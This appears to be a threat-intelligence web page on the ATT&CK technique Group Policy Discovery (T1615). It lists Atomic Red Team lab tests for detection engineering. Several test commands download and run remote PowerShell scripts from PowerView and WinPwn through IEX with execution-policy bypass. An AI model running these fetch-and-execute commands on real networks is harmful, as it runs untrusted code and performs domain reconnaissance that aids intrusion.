Home/ATT&CK Technique/Group Policy Discovery
ATT&CK Technique

Group Policy Discovery

T1615 · discovery

Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path \<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.

Adversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings. Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. Domain or Tenant Policy Modification) for their benefit.

Windows
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Actors Using This

1
russiaTurla
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Atomic Tests

5
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
command_promptwindowsDisplay group policy information via gpresult
Uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information for a remote user and computer The /z parameter displays all available information about Group Policy. More parameters can be found in the linked Microsoft documentation https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/ Turla has used the /z and /v parameters: https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf 
gpresult /z
powershellelevatedwindowsGet-DomainGPO to display group policy information via PowerView
Use PowerView to Get-DomainGPO This will only work on Windows 10 Enterprise and A DC Windows 2019.
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://github.com/BC-SECURITY/Empire/blob/86921fbbf4945441e2f9d9e7712c5a6e96eed0f3/empire/server/data/module_source/situational_awareness/network/powerview.ps1'); Get-DomainGPO"
powershellwindowsWinPwn - GPOAudit
Check domain Group policies for common misconfigurations using Grouper2 via GPOAudit function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
GPOAudit -noninteractive -consoleoutput
powershellwindowsWinPwn - GPORemoteAccessPolicy
Enumerate remote access policies through group policy using GPORemoteAccessPolicy function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
GPORemoteAccessPolicy -consoleoutput -noninteractive
powershellelevatedwindowsMSFT Get-GPO Cmdlet
The Get-GPO cmdlet gets one Group Policy Object (GPO) or all the GPOs in a domain. Tested on Windows Server 2019 as a domain user with computer joined to domain. Reference: https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps
Get-GPO -Domain $ENV:userdnsdomain #{gpo_param} >> #{gpo_output}
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Detection Coverage

1/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 5
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none
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